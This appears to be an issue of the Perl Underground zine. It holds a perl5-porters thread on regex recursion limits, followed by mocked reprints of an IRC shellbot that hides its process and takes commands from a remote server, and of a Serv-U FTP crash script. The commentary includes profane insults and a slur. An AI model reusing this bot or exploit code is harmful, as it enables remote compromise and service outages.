A program that works correctly on a version of Perl with 64 bit integers
may not work on a version of Perl that uses 32 bit integers.
Besides, I believe that the majority of the Perl programs that are
written are not intended to be distributed. Should we tell someone "no,
you cannot configure the (arbitrary) recursion limit, because we think you
may write a regexp that you will distribute"? I think that we should make
it easy to write portable programs, but we shouldn't force portability
upon others, specially not if it takes away freedom. Portability should
remain a choice.
Furthermore, even without a Configure option, people can always patch
the source, so you cannot prevent it anyway.
Finally, were I to distribute regexes that would hit the default recursion
limit, I much rather document the Configure option they need to use to
rebuild their perl, than which line in which file to modify. A Configure
option is more likely to remain constant between versions than a line number.
Of course, if the limit is settable at run time, the issue become less
pressing. But even then I still prefer to have the Configure option.
Even if it's as long -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500.
Abigail
13. Tels
-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Moin,
[snip]
- Show quoted text -
We have the same limit with memory, btw. Runs with 256Mbyte, doesn't run
with 10Mbyte.
But that is not a reason to add even more of these limits :D
>Besides, I believe that the majority of the Perl programs that are
>written are not intended to be distributed.
I think this is irrelevant to the discussion at hand :)
>Should we tell someone "no, you cannot configure the (arbitrary) recursion
>limit, because we think you may write a regexp that you will distribute"?
>I think that we should make it easy to write portable programs, but we
>shouldn't force portability upon others, specially not if it takes away
>freedom. Portability should remain a choice.
Yep, but read on for my opinion:
>Furthermore, even without a Configure option, people can always patch
>the source, so you cannot prevent it anyway.
Right, too,but read on:
>Finally, were I to distribute regexes that would hit the default recursion
>limit, I much rather document the Configure option they need to use to
>rebuild their perl, than which line in which file to modify. A Configure
>option is more likely to remain constant between versions than a line
>number.
>Of course, if the limit is settable at run time, the issue become less
>pressing. But even then I still prefer to have the Configure option.
>Even if it's as long -Accflags=-DMAX_RECURSE_EVAL_NOCHANGE_DEPTH=500.
We already have such a limit: normal recursion.
You cannot configure it, but you can disable it locally at runtime. And
everytime you write a recursive routine you pretty much need to disable it,
because you do not know what data is feed to that routine, and hence cannot
know how deep it recurses.
So, if the deep recursion of the regexp is data dependend (aka the string it
matches), you need to disable that limit temporarily. Not just set it to an
arbitrary number like 1000. This *will* blow up on some data.[0]
If the recursion is not data dependend (i believe it is, but I am not sure),
but is purely bound by the constructed regexp, then you still need a way to
set this limit to infite (aka disable it), because regexp can be
constructed at runtime from user data, and this data can blow any arbitrary
limit you set.
Who knows, maybe it is ok to recurse 10000 times and then match.
So I strongly argue in favour of a runtime setting to disable this limit.
Bonus points if you can make this only warn, not die.
More bonus points if the default limit can be set by configure at compile
time, but this is actually quite moot, since every program that expects to
hit some limit needs to disable that check temp. at the right place,
anyway.
Best wishes,
Tels
[0] Finding out wether your routine will never go beyond X recursions
amounts basically to solving the halting problem. It can be determied for
fixed inputs, maybe even for some entire classes of inputs, but if you
allow arbitrarily input the limit is basically arbitrarily big, too :)
- --
Signed on Wed Feb 14 20:46:34 2007 with key 0x93B84C15.
Get one of my photo posters: http://bloodgate.com/posters
PGP key on http://bloodgate.com/tels.asc or per email.
"My name is Felicity Shagwell. Shagwell by name, shag very well by
reputation."
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.2 (GNU/Linux)
iQEVAwUBRdNpS3cLPEOTuEwVAQKv2Af9Eu2OoGXgdeQXjyGF8/uN99RW92Am5nyM
oeK29MqWLIP808hvT4gsUyu8mrpXTHlCkp3hIrDPw6100Y+SqCfxcu/vvp/6JzbY
nE7Z1R67FyNdvCwFnvGa1hv7qgINnHwxG6BDhI7p6YbdemY1i7MIFiCshXUBQNzm
ZEJ3ja/cR1WN8nU7K0Fl6FeieKRRPjSfmXu4DlwnmzOSvIgPwAmvIEwSkvX0vpF/
VeShmTjoVK4AyE1uzolwGauD/4017ibDWeRiwi26mi+RH80F5loAWiPxk0W8AB6k
3gSiKLwE2WqDQOrFZZaaHe+4f6Fkdv1hTEjcqdJlVLulx7/6+rb0Ww==
=R6xQ
-----END PGP SIGNATURE-----
Reply Reply to author Forward Rate this post:
14. Demerphq View profile
More options Feb 14, 3:21 pm
On 2/14/07, Tels <[email protected]> wrote:
- Show quoted text -
Just wanted to make clear, this isnt recursion in any normal concept
of the word. This is pattern recursion (inside of a while loop no
less!), on the HEAP, not the stack, and only applies to the case where
a recursive pattern does not consume any input before recursing, and
is there to prevent infinite loops either intentional or accidental.
So for instance (?<x>a(?&x)?) will never hit the limit regardless of
how many times it recurses. Wheras (?<x>(?&x)?a) will die with a
warning when it hits the limit.
> Bonus points if you can make this only warn, not die.
> More bonus points if the default limit can be set by configure at compile
> time, but this is actually quite moot, since every program that expects to
> hit some limit needs to disable that check temp. at the right place,
> anyway.
But at least they can do so. And it shouldnt be impossible to
determine how deep the recursion needs to go before it will consume
data. This is strictly to prevent left recursion without adding to
much of a cost to the compilation phase. If somebody can come up with
a better approach to detecting true left recursion then we could get
rid of the limit outright. (Actually not true, the same rule applies
to eval as well.)
cheers,
Yves
--
perl -Mre=debug -e "/just|another|perl|hacker/"
Reply Reply to author Forward Rate this post:
15. [email protected] View profile
More options Feb 14, 11:17 pm
demerphq <[email protected]> wrote:
:Just wanted to make clear, this isnt recursion in any normal concept
:of the word. This is pattern recursion (inside of a while loop no
:less!), on the HEAP, not the stack, and only applies to the case where
:a recursive pattern does not consume any input before recursing, and
:is there to prevent infinite loops either intentional or accidental.
Ah, so failure mode is "out of memory" rather than SEGV? Seems no worse
than the existing possibility of function call recursion then, and
should be handled the same way - warn at a set limit if 'recursion'
warnings are enabled, but other than that let it roll. C< use fatal >
when you want severer behaviour than that.
Note that I have one program which regularly breaches 64k levels
of function call recursion, which prompted me to find and fix a bug
at that threshold. The same program has never managed to run out of
memory.
Hugo
Reply Reply to author Forward Rate this post:
16. Demerphq View profile
More options Feb 15, 2:32 am
On 2/15/07, [email protected] <[email protected]> wrote:
> demerphq <[email protected]> wrote:
> :Just wanted to make clear, this isnt recursion in any normal concept
> :of the word. This is pattern recursion (inside of a while loop no
> :less!), on the HEAP, not the stack, and only applies to the case where
> :a recursive pattern does not consume any input before recursing, and
> :is there to prevent infinite loops either intentional or accidental.
> Ah, so failure mode is "out of memory" rather than SEGV? Seems no worse
> than the existing possibility of function call recursion then, and
> should be handled the same way - warn at a set limit if 'recursion'
> warnings are enabled, but other than that let it roll. C< use fatal >
> when you want severer behaviour than that.
I dont think this is the right approach, its common for programs to
allow regexes to be supplied by the user, its very rare for programs
to allow recursive subroutines to be supplied by the user.
> Note that I have one program which regularly breaches 64k levels
> of function call recursion, which prompted me to find and fix a bug
> at that threshold. The same program has never managed to run out of
> memory.
If the rules in a regex are left recursive unless limited it will loop
until it eats all the memory. Its that simple.
Yves
--
perl -Mre=debug -e "/just|another|perl|hacker/"
Reply Reply to author Forward Rate this post:
17. Demerphq View profile
More options Feb 15, 10:22 am
On 2/15/07, Robin Houston <[email protected]> wrote:
> It seems to me that it should usually be easy to detect infinite
> looping at run-time, without the need to impose a hard limit on
> recursion depth.
> If the number of nested calls, without consuming any input, exceeds
> the number of callable subexpressions in the pattern, then we must be
> in a loop. (If I have passed 100 trees in a forest containing 99
> trees, then I must have passed at least one of them more than once,
> so my route must have contained a cycle.)
Ah yes, of course. Good call.
> Of course, this reasoning doesn't work if the regular expression
> contains embedded code, so we'd have to fall back to a cruder
> counting mechanism in that, presumably very unusual, case.
Currently we use a single counter for both. To do this we would have
to separate the two wouldnt we?
> The other thing that puzzles me is that Abigail's regex contains
> fewer than fifty subroutines, so by my reasoning the recursion-depth-
> without-consuming-input could not possibly exceed 50 unless there's
> an actual infinite loop (which there isn't). I can only conclude that
> the current check is not accurately measuring this recursion depth.
> Looking at regexec.c, I can't see any place where nochange_depth is
> decremented (when returning from a subroutine call). Is that the
> reason for the discrepancy?
Yes i think you are right. The tricky part is we use the same state
hooks for handling recursion and what follows recursion. But i think
ive worked out how to handle that.
Ill post a patch soon.
Yves
--
perl -Mre=debug -e "/just|another|perl|hacker/"
Reply Reply to author Forward Rate this post:
18. Robin Houston View profile
More options Feb 15, 12:13 pm
On 15 Feb, 2007, at 15:22, demerphq wrote:
> Currently we use a single counter for both. To do this we would have
> to separate the two wouldnt we?
I'm not sure there's a need to separate the counters, exactly. What I
meant is: using embedded code it's possible to create a situation
where the number of nested recursion calls, without consuming input,
exceeds the number of callable sub-patterns, but which is not
actually an infinite loop.
Here's a silly example:
/(?<p>(??{$n++<100 ? "" : "a"})(?&p))/
In fact that will trigger the "Infinite recursion in regex" error,
erroneously you could argue. Here's one that doesn't produce the error:
/(?<p>(??{$n++<100 ? "" : "a"})(?&q))(?<q>(?&p))/
So, if the regex contains embedded code, it's not generally safe to
assume
that there's an infinite loop just because the recursion depth has
exceeded the number of callable subpatterns.
In that case, I guess the only thing to do is to fall back to a fixed
or configurable limit.
Robin
Reply Reply to author Forward Rate this post:
19. Nicholas Clark View profile
More options Feb 15, 12:36 pm
On Thu, Feb 15, 2007 at 08:32:08AM +0100, demerphq wrote:
> If the rules in a regex are left recursive unless limited it will loop
> until it eats all the memory. Its that simple.
Is that detectable at compile time?
(Yes, this might be a naive question from me. I can see that it's already
not easy to detect if two or more rules refer to each other in a loop, so
that they mutually recurse)
Assuming it's not easy to detect at compile time, is it going to be common
to write regexps that are recurse to a great depth before consuming input,
but don't recurse infinitely?
Nicholas Clark
Reply Reply to author Forward Rate this post:
20. Demerphq View profile
More options Feb 15, 12:43 pm
On 2/15/07, Nicholas Clark <[email protected]> wrote:
> On Thu, Feb 15, 2007 at 08:32:08AM +0100, demerphq wrote:
> > If the rules in a regex are left recursive unless limited it will loop
> > until it eats all the memory. Its that simple.
> Is that detectable at compile time?
> (Yes, this might be a naive question from me. I can see that it's already
> not easy to detect if two or more rules refer to each other in a loop, so
> that they mutually recurse)
Yes its detectable.
> Assuming it's not easy to detect at compile time, is it going to be common
> to write regexps that are recurse to a great depth before consuming input,
> but don't recurse infinitely?
Its not so much thats its not easy, it probably is in terms of the
algorithm, its more that its timeconsuming and would require a fair
amount of work with one of the nastiest routines in the perl core
(study_chunk).
But yes i think it will be quite common to see this. Essentially its
what would happen as the parser traces through the internal nodes
seeking a leaf. However Robins point means for pure recursion we wont
ever have a problem, with mixed recursion/eval or eval alone we will
still use the hard limit, but in my earlier patch i raised it to 1000
until it becomes a magic var.
Yves
--
perl -Mre=debug -e "/just|another|perl|hacker/"
21. Robin Houston
It seems to me that it should usually be easy to detect infinite
looping at run-time, without the need to impose a hard limit on
recursion depth.
If the number of nested calls, without consuming any input, exceeds
the number of callable subexpressions in the pattern, then we must be
in a loop. (If I have passed 100 trees in a forest containing 99
trees, then I must have passed at least one of them more than once,
so my route must have contained a cycle.)
Of course, this reasoning doesn't work if the regular expression
contains embedded code, so we'd have to fall back to a cruder
counting mechanism in that, presumably very unusual, case.
The other thing that puzzles me is that Abigail's regex contains
fewer than fifty subroutines, so by my reasoning the recursion-depth-
without-consuming-input could not possibly exceed 50 unless there's
an actual infinite loop (which there isn't). I can only conclude that
the current check is not accurately measuring this recursion depth.
Looking at regexec.c, I can't see any place where nochange_depth is
decremented (when returning from a subroutine call). Is that the
reason for the discrepancy?
Robin
PS. Sorry for breaking the threading. I can't find any way to forge
headers using this MUA.
Reply Reply to author Forward Rate this post:
22. [email protected] View profile
More options Feb 15, 1:39 pm
Robin Houston <[email protected]> wrote:
:Of course, this reasoning doesn't work if the regular expression
:contains embedded code, so we'd have to fall back to a cruder
:counting mechanism in that, presumably very unusual, case.
We already have a separate switch C< use re 'eval' > which we added
when eval groups were made available, so that programs already accepting
regexps from external sources would not suddenly become more dangerous.
Should something similar be required to permit regexps to use those new
features that could cause problems in this way (such as DOS attacks from
recursive regexps)?
Arguably the same flag could be used (since it is protecting against
the same kind of dangers) but its name isn't really appropriate for
that. The alternative would be a new C< use re 'recurse' >, and another
new flag that says more generally "I don't need any checks against
malicious regexps, even if you add new features in the future".
In the presence of this flag, the rest of the discussion simplifies
to wanting to help programmers debug erroneous code without getting
in their way when the bugs are fixed: we no longer need to worry
about malice.
Hugo
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 5242 2007-02-26 18:12 laugh/nasti.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Calvin> Ha! Mosquitos don't even HAVE teeth! That shows how dumb YOU are!
#!/usr/bin/perl
# VulnScan v2
# Norman ownz your box
my $processo = '[syslogd]';
# Get some strict, get some warnings, and get this above your $processo
use HTTP::Request;
use LWP::UserAgent;
#CONFIGURATION
# ^ A Label! Holy fuck!
my $linas_max='4';
my $sleep='5';
# Do not quote your numbers.
my @gstring='Source';
my @cmdstring='http://source.webcindario.com/ale.txt';
my @adms=("Source");
my @canais=("#NaStI");
# I will give you benefit of the doubt and assume the above arrays will expand.
my $nick='NaStI';
# NaStI, NaStI boy!
my $ircname ='norman';
# how BLAND
chop (my $realname = `uname -a`);
#chop chop
$servidor='shells.telesito.com.ar' unless $servidor;
# servido ||= 'shells.telesito.com.ar';
my $porta='4444';
my $VERSAO = 'Shellbot RFI by Norman v1.4';
$SIG{'INT'} = 'IGNORE';
$SIG{'HUP'} = 'IGNORE';
$SIG{'TERM'} = 'IGNORE';
$SIG{'CHLD'} = 'IGNORE';
$SIG{'PS'} = 'IGNORE';
use IO::Socket;
use Socket;
use IO::Select;
# Why are these down here? Why Socket AND IO::Socket?
chdir("/");
$servidor="$ARGV[0]" if $ARGV[0];
# All wrong!
$0="$processo"."\0"x16;;
# I like the extra ; just to be sure
# Let's assume it was a typo
my $pid=fork;
exit if $pid;
die "Problema com o fork: $!" unless defined($pid);
our %irc_servers;
our %DCC;
# The famed our, is it really so needed?
my $dcc_sel = new IO::Select->new();
$sel_cliente = IO::Select->new();
sub sendraw {
if ($#_ == '1') {
# fuck. no.
my $socket = $_[0];
print $socket "$_[1]\n";
} else {
print $IRC_cur_socket "$_[0]\n";
}
}
# MORGAN OWNED YOUR BOX
# www.elmorgan.com.ar
# irc.gigachat.net - #Morgan
# Yes, advertise your identity. Again, and again, and again.
sub conectar {
my $meunick = $_[0];
my $servidor_con = $_[1];
my $porta_con = $_[2];
# my ($meunick, $servidor_con, $porta_con) = @_; # why not?
my $IRC_socket = IO::Socket::INET->new(Proto=>"tcp", PeerAddr=>"$servidor_con", PeerPort=>$porta_con) or return(1);
# LAME
if (defined($IRC_socket)) {
$IRC_cur_socket = $IRC_socket;
#LAME
$IRC_socket->autoflush(1);
$sel_cliente->add($IRC_socket);
$irc_servers{$IRC_cur_socket}{'host'} = "$servidor_con";
$irc_servers{$IRC_cur_socket}{'porta'} = "$porta_con";
# Randomly quote variables, and randomly don't. Good show, good show!
$irc_servers{$IRC_cur_socket}{'nick'} = $meunick;
$irc_servers{$IRC_cur_socket}{'meuip'} = $IRC_socket->sockhost;
nick("$meunick");
sendraw("USER $ircname ".$IRC_socket->sockhost." $servidor_con :$realname");
sleep 1;
}
}
my $line_temp;
while( 1 ) {
while (!(keys(%irc_servers))) { conectar("$nick", "$servidor", "$porta"); }
delete($irc_servers{''}) if (defined($irc_servers{''}));
# ack, I'm coughing
my @ready = $sel_cliente->can_read(0);
next unless(@ready);
# Parens are not needed everywhere.
foreach $fh (@ready) {
$IRC_cur_socket = $fh;
$meunick = $irc_servers{$IRC_cur_socket}{'nick'};
$nread = sysread($fh, $msg, 4096);
if ($nread == 0) {
$sel_cliente->remove($fh);
$fh->close;
delete($irc_servers{$fh});
}
@lines = split (/\n/, $msg);
for(my $c=0; $c<= $#lines; $c++) {
# for my $c (0 .. $#lines) {
$line = $lines[$c];
$line=$line_temp.$line if ($line_temp);
$line_temp='';
$line =~ s/\r$//;
# You like it slow, don't you?
unless ($c == $#lines) {
parse("$line");
} else {
if ($#lines == 0) {
parse("$line");
} elsif ($lines[$c] =~ /\r$/) {
parse("$line");
} elsif ($line =~ /^(\S+) NOTICE AUTH :\*\*\*/) {
parse("$line");
} else {
$line_temp = $line;
}
# what the fuck is up with that control flow
}
}
}
}
sub parse {
my $servarg = shift;
if ($servarg =~ /^PING \:(.*)/) {
sendraw("PONG :$1");
} elsif ($servarg =~ /^\:(.+?)\!(.+?)\@(.+?) PRIVMSG (.+?) \:(.+)/) {
my $pn=$1; my $hostmask= $3; my $onde = $4; my $args = $5;
# dude...no.
if ($args =~ /^\001VERSION\001$/) {
notice("$pn", "\001VERSION mIRC v6.16 Khaled Mardam-Bey\001");
}
if (grep {$_ =~ /^\Q$pn\E$/i } @adms) {
if ($onde eq "$meunick"){
shell("$pn", "$args");
# so much quoting, the all hanging " key
}
if ($args =~ /^(\Q$meunick\E|\!norman)\s+(.*)/ ) {
my $natrix = $1;
my $arg = $2;
if ($arg =~ /^\!(.*)/) {
ircase("$pn","$onde","$1") unless ($natrix eq "!bot" and $arg =~ /^\!nick/);
} elsif ($arg =~ /^\@(.*)/) {
$ondep = $onde;
$ondep = $pn if $onde eq $meunick;
bfunc("$ondep","$1");
} else {
shell("$onde", "$arg");
}
}
}
# No more. All the same bullshit. Plus, there is some different bullshit,
# but it isn't worth our time. Just stop sucking and write some code that isn't embarassing.
# Oh, and I removed some copyrights, AND your notice to not remove copyrights, YOU BITCH.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 657 2007-02-26 18:11 rant/egomaniac.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Dear Fuckfaces,
I was featured in your last publication. Why are you so mean, writing this pointless zine where you
make fun of people for writing bad Perl? You should be like h0no, where you really own people. Your
zine has nothing useful. And scrap all those highly informative and intelligent articles gathered
from the Perl community, I didn't even read them. In fact, I didn't even read most of the article
about me. I certainly didn't learn anything. I'm gonna bitch about the little issues you pointed
out, and ignore the big stupid things I did. I'm going to continue writing shitty Perl code, but I
won't publish as much.
Regards,
Some Egomanic
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 4233 2007-02-26 18:10 laugh/cirt.dk.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Calvin> Aw Mom, we're right in the middle of a croquet game!
#!/usr/bin/perl
#ooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOOooOO
#
# ************************************************** !!! WARNING !!! ***********************************************************
# * FOR SECURITY TESTiNG ONLY! *
# ******************************************************************************************************************************
# * By using this code you agree that I makes no warranties or representations, express or implied, about the *
# * accuracy, timeliness or completeness of this, including without limitations the implied warranties of *
# * merchantability and fitness for a particular purpose. *
# * I makes NO Warranty of non-infringement. This code may contain technical inaccuracies or typographical errors. *
# * This code can never be copyrighted or owned by any commercial company, under no circumstances what so ever. *
# * but can be use for as long the developer, are giving explicit approval of the usage, and the user understand *
# * and approve of all the parts written in this notice. *
# * This program may NOT be used by any Danish company, unless explicit written permission from the developer . *
# * Neither myself nor any of my Affiliates shall be liable for any direct, incidental, consequential, indirect *
# * or punitive damages arising out of access to, inability to access, or any use of the content of this code, *
# * including without limitation any PC, other equipment or other property, even if I am Expressly advised of *
# * the possibility of such damages. I DO NOT encourage criminal activities. If you use this code or commit *
# * criminal acts with it, then you are solely responsible for your own actions and by use, downloading,transferring, *
# * and/or reading anything from this code you are considered to have accepted the terms and conditions and have read *
# * this disclaimer. Once again this code is for penetration testing purposes only. And once again, DO NOT DISTRIBUTE! *
# ******************************************************************************************************************************
#
# FTP Serv-U 2.3e FTP Service Killer
# http://www.cirt.dk/
#
#
#For some reason it only works on a local network
#### ^ I wonder why ...
# Crashes FTP Serv-U 2.3e by sending it a string of null bytes.
#
# WTF
# Remove ALL of that fucking annoying cock juice from the top of your script
# Fags
use IO::Socket;
my $host; # Host being probed.
my $port; # FTP port.
# my ($host, $port);
# Thanks for the lexical variables, though.
# Could you possibly be the first? Ack!
system('cls');
# Lame Windows-centered code
print "\n Serv-U 2.3e Overflow Vuln 2002 by Dennis Rand.";
print "\n http://www.cirt.dk";
print "\n ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "\n Enter host to crash : ";
# Could another form of quoting be in order?
$host=<STDIN>;
chomp $host;
# chomp(my $host = <STDIN>);
if ($host eq ""){$host="127.0.0.1"};
# $host ||= '127.0.0.1';
print "\n Port : ";
$port=<STDIN>;
chomp $port;
if ($port =~/\D/ ){$port="21"};
# $port = 21 if $port =~ /\D/;
if ($port eq "" ) {$port = "21"};
print " Connecting to $host:$port...";
my $connection = IO::Socket::INET->new (
Proto => "tcp",
PeerAddr => "$host",
PeerPort => "$port",
) or die "\nSorry UNABLE TO CONNECT To $host On Port $port.\n";
# Quote quote quote
$connection -> autoflush(1);
print "..... \n";
$counter = 0;
$buf = "";
# Not lexical anymore?
# 135168
while ($counter < 135168) {
print ".";
$buf .= "\x00";
$counter += 1;
print $connection "$buf\n";
# Could be smooth, but who needs it, I suppose
}
sleep(2);
print "\n Done.....";
close($connection);
# Parens not needed.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 979 2007-02-26 18:08 rant/str0ke.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
<Locke> I was considering going for str0ke round 3.
<Locke> But maybe people are getting tired of him?
<Socrates> I thought you had something else specifically, a second article.
<Socrates> I personally would not like to attack str0ke again.
<Locke> okay, so no str0ke
<Socrates> I usually try not to use the same person twice,
and I think there were three articles written about him.
... 17 minutes later ...
<Locke> http://milw0rm.com/exploits/2974
<Locke> Really, you'd think he'd learn
... Later? ...
<Locke> Rather daemonion, wouldn't you say?
<Socrates> Perhaps. That is not necessarily supporting an attack.
The sign is a voice which comes to me and always forbids me to do something which I am going to do,
but never commands me to do anything.
<Locke> You must choose one way or another.
We promised you str0ke, and we give you...half str0ke? 1/4 str0ke? That's ok!
I know you, the ravishing crowds, are disappointed. We raise our glasses to you, and to str0ke!
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 715 2007-02-26 18:07 rant/ownedbypu.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
What to do if you have been schooled by Perl Underground
1. Think deeply about what you have done with your life and what you intend to do.
2. Make a list of all the Perl things you did wrong and were criticized for.
Post on wall.
3. Remove any bullshit, useless, degrading scripts that you only have online
to pad your code archive and your ego.
4. Go through all of your other programs and fix up
according to the list in point #2 and according to your independent Perl research.
5. Take all further programs to professionals or unemployed experts before publishing.
6. Put a long thank you note somewhere online, where you repent for your ill deeds.
7. Make Perl a lifelong passion, and strive for education.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
-rw------- 1 puyou puyou 1359 2007-02-26 18:05 rant/outr0.txt
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Shoutz and Outz
I would like to thank the record number of contributors to Perl Underground 4. All of your work is
greatly appreciated and increases the overall diversity. Also, thanks to everyone who complimented
on previous editions, or offered suggestions. Thanks to everyone who took their inclusion with
style, and I suppose I can thank those of you who didn't, for spreading it through your
complaining.
Hoboeuan, you very narrowly missed being included. In the end, I figured that your foolery was
neither unique nor entertaining, and I couldn't possibly humiliate you after ZF0 owned you and
showed the world. Either way, I expound the moral that you should realize that by being a dick you
can piss people off in the oddest of places, and that those people might notice the chance to get
back at you when it drops into their laps.
Thanks to everyone who writes or appreciates good Perl, and to everyone working hard to improve
Perl and improve how the rest of us experience Perl.
___ _ _ _ _ ___ _
| _ | | | | | | | | | | | |
| _|_ ___| | | | |___ _| |___ ___| _|___ ___ _ _ ___ _| |
| | -_| _| | | | | | . | -_| _| | | _| . | | | | . |
|_|___|_| |_| |___|_|_|___|___|_| |___|_| |___|___|_|_|___|
Forever Abigail
$_ = "\x3C\x3C\x45\x4F\x46\n" and s/<<EOF/<<EOF/ee and print;
"Just another Perl Hacker,"
EOF
# milw0rm.com [2007-04-03]- Источник
- www.exploit-db.com
